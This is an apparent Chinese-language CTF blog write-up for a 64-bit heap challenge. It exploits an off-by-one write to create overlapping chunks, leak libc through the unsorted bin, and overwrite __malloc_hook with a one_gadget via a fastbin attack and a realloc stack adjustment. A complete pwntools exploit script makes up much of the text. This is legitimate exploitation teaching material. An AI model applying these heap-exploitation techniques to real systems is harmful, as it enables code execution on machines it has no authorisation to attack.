获取中...

-

Just a minute...

off-by-one,malloc_hook中直接写入one_gadget不起作用

基本信息

64位保护全开

1
2
3
4
5
6
7
ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=a2986ae4b1214855d675d94358bc7d28efdaa52e, stripped

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

ida查看

菜单

1
2
3
4
5
1. create a note
2. write note
3. drop the note
4. show the note
5. exit

create函数

1
2
3
*((_DWORD *)&unk_202040 + 4 * (signed int)i) = 1;
*((_DWORD *)&unk_202044 + 4 * (signed int)i) = v4;
qword_202048[2 * (signed int)i] = v5;

1表示chunk已经创建

v4记录chunk的大小

v5记录chunk的地址

write函数

1
2
3
4
5
v4 = sub_E26(*((_DWORD *)&unk_202044 + 4 * v3), v2);
if ( v2 > 0 )
{
printf("content: ", (unsigned int)v2);
v2 = sub_D92(qword_202048[2 * v3], v4);

v2 = sub_D92(qword_202048[2 * v3], v4); 将 v4 字节大小的内容写入 qword_202048[2 * v3] 对应的块地址。

sub_E26

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
__int64 result; // rax

if ( a1 > (signed int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}

如果再输入一次size的大小比创建note时的大小的差值为10, 则读入的数据会比chunk的size多一,也就造成了off-by-one漏洞

drop函数

1
2
3
4
*((_DWORD *)&unk_202040 + 4 * v0) = 0;
*((_DWORD *)&unk_202044 + 4 * v0) = 0;
free((void *)qword_202048[2 * v0]);
qword_202048[2 * v2] = 0LL;

将记录 chunk 创建的 1 置 0 。

将记录 chunk 的大小置 0。

free 掉对应的 chunk 。

将存储的 chunk 指针置 0。

show函数

1
2
printf("content: ", v2);
LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *((unsigned int *)&unk_202044 + 4 * SHIDWORD(v2)));

打印 qword_202048[2 * SHIDWORD(v2)] 对应块的 *(&unk_202044 + 4 * SHIDWORD(v2) 个字节的内容。

思路

  1. 修改chunk1 的size为0xf1
  2. 修改chunk3的size为0xa1, 之后free掉, 再create一个size为0x20 的chunk,由于修改了chunk3的size, 所以分配的时候会从unsortedbin中的chunk切割一部分,剩下的那部分还会留在unsortedbin中,fd, bk指针依旧指向libc地址,所以可以通过利用chunk4的指针来泄露libc地址
  3. free掉chunk1,这样chunk1也会进入unsortedbin,之后crate一个大小为0xf0的chunk, 由于本题用的calloc函数,所以再创建chunk的时候会初始化,chunk3包含再chunk1中,所以此时unsortedbin中为空
  4. 这时已经有一块0xf0的内存的内容可以控制,接下来就是通过fastbin attack来覆写__malloc_hook 为one_gadget , 再就是这题的one_gadget 全部失效,所以要利用realloc来调整栈环境来使one_gadget 变得有效

ps:fastbin中的chunk在创建或删除的时候都会检查size是否符合大小,在free的时候会检查下下个chunk的标志位检查下一个相邻的标志位是否为0,所以伪造chunk的时候相关数据也要伪造好

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
p = process('./pwn')
def create(size):
p.sendlineafter("choice: ", str(1))
p.sendlineafter("size: ", str(size))

def write(index, size, content):
p.sendlineafter("choice: ", str(2))
p.sendlineafter("index: ", str(index))
p.sendlineafter("size: ", str(size))
p.sendlineafter("content: ", content)

def free(index):
p.sendlineafter("choice: ", str(3))
p.sendlineafter("index: ", str(index))

def show(index):
p.sendlineafter("choice: ", str(4))
p.sendlineafter("index: ", str(index))

create(0x18) #0

create(0x18) #1

create(0x18) #2

create(0x18) #3

create(0x18) #4

create(0x18) #5

create(0x18) #6

create(0x18) #7

create(0x18) #8

create(0x18) #9

create(0x18) #10

write(10, 0x10, p64(0x91)+p64(0x21))
create(0x18) #11
write(11, 0x10, 'a'*8 + p64(0x21))

write(0, 0x18 + 10, 'a'*0x18 + '\xf1') #chun1 size -> 0xf1

write(8, 0x10, p64(0) + p64(0x21))

write(9, 0x10, p64(0) + p64(0x21))

write(2, 0x18 + 10, 'a'*0x18 + '\xa1')

free(3)

create(0x18)
show(4)

p.recvuntil("content: ")
leak = p.recvline()[:8]
print "leak-> " + leak

libc_addr = struct.unpack("<Q", leak)[0]
print "libc_addr-> " + hex(libc_addr)

libc_base = libc_addr - (0x7fb29d5fab78 - 0x7fb29d236000)
print "libc_base-> " + hex(libc_base)

free(1)

create(0xe8)

payload = 'a'*0x10 + p64(0) + p64(0x71)
payload += 'a'*0x10 + p64(0) + p64(0x21)
payload += 'a'*0x10 + p64(0) + p64(0x21)
payload += 'a'*0x10 + p64(0) + p64(0x21)
payload += 'a'*8 + p64(0x21)
payload += 'a'*0x18 + p64(0x21)
write(1, 0xe8, payload + 'a'*(0xe8 - len(payload)))

free(2)

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)

realloc = libc_base + libc.symbols['__libc_realloc']
print "realloc-> " + hex(realloc)

one_gadget = libc_base + 0xf02a4
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
payload = 'a'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook - 0x23)
write(1, len(payload), payload)

create(0x68)

create(0x68)

payload = 'a'*(0x13 - 0x8) + p64(one_gadget) + p64(realloc+13)
write(12, len(payload), payload)

p.sendlineafter("choice: ", str(1))
p.sendlineafter("size: ", str(1))

p.interactive()

onegadget不起作用

https://blog.csdn.net/Maxmalloc/article/details/102535427

相关文章
评论
分享
  • 网鼎杯部分wp

    pwnboom1分析远程已经打不通了,远程的偏移和本地的偏移不一样,只能复现一下本地的了。 首先看到流程图,代码量很大,有很大的switch语句和嵌套结构,可能是虚拟机或者是解析器。 从下图看出是一个C语言的解析器。 然后看了...

    网鼎杯部分wp
  • 数字中国创新大赛

    又是自闭的一天。。 game这一题是关于python字节码的题目,之前没有了解过,看了几篇关于python字节码的文章,死磕,手工还原。。 python字节码 12345678910111213141516171819202122...

    数字中国创新大赛
  • hitcontraining_uaf

    一道简单的uaf的题目 保护12345Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX...

    hitcontraining_uaf
Please check the parameter of comment in config.yml of hexo-theme-Annie!